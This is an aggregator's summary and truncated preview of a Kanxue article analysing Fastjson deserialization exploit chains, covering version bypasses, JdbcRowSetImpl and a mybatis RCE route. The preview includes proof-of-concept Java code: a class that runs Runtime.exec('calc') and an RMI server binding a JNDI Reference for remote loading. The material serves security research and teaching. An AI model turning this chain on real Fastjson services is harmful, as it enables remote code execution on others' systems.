专栏名称: 看雪学苑
致力于移动与安全研究的开发者社区,看雪学院(kanxue.com)官方微信公众帐号。
今天看啥  ›  专栏  ›  看雪学苑

Fastjson反序列化利用链分析

看雪学苑  · 公众号  · 互联网安全  · 2024-08-31 17:59

主要观点总结

本文介绍了Fastjson反序列化漏洞的详细过程,包括不同版本间的修复与绕过方法,以及利用第三方框架(如mybatis)进行RCE的示例。文章还介绍了一种通用的绕过黑名单的方法,以及针对最新版本的修复策略。

关键观点总结

关键观点1: Fastjson版本漏洞分析

详细介绍了从1.2.24到最新版本的Fastjson在面临攻击时的应对策略和漏洞修复方式。

关键观点2: JdbcRowSetImpl利用链分析

通过详细的步骤和代码,展示了如何利用JdbcRowSetImpl在Fastjson中触发RCE。

关键观点3: 第三方框架RCE示例

通过mybatis框架展示如何利用Fastjson的特性触发RCE。

关键观点4: 通用绕过黑名单方法

介绍了一种通用的绕过Fastjson黑名单的方法,适用于多个版本。

关键观点5: 最新版本修复策略

针对最新版本的Fastjson修复策略进行了介绍和分析。


文章预览

一 实验环境 ◆jdk1.8 ◆windows10 pom依赖 com.alibaba fastjson 1.2.24 先编写一个具有RCE功能的类,和一个工厂类: public class Calc { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } } public class CalcFactory implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception { return new Calc(); } } 再编写一个简单的RMI服务端: public class RMIServerReference { void register() throws Exception{ LocateRegistry.createRegistry(1099); Reference reference = new Reference("Calc", "CalcFactory", ""); ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference); Naming.bind("rmi://127.0.0.1:1099/Calc", refObjWrapper); System.out.println("RMI se ………………………………

原文地址:访问原文地址
快照地址: 访问文章快照
总结与预览地址:访问总结与预览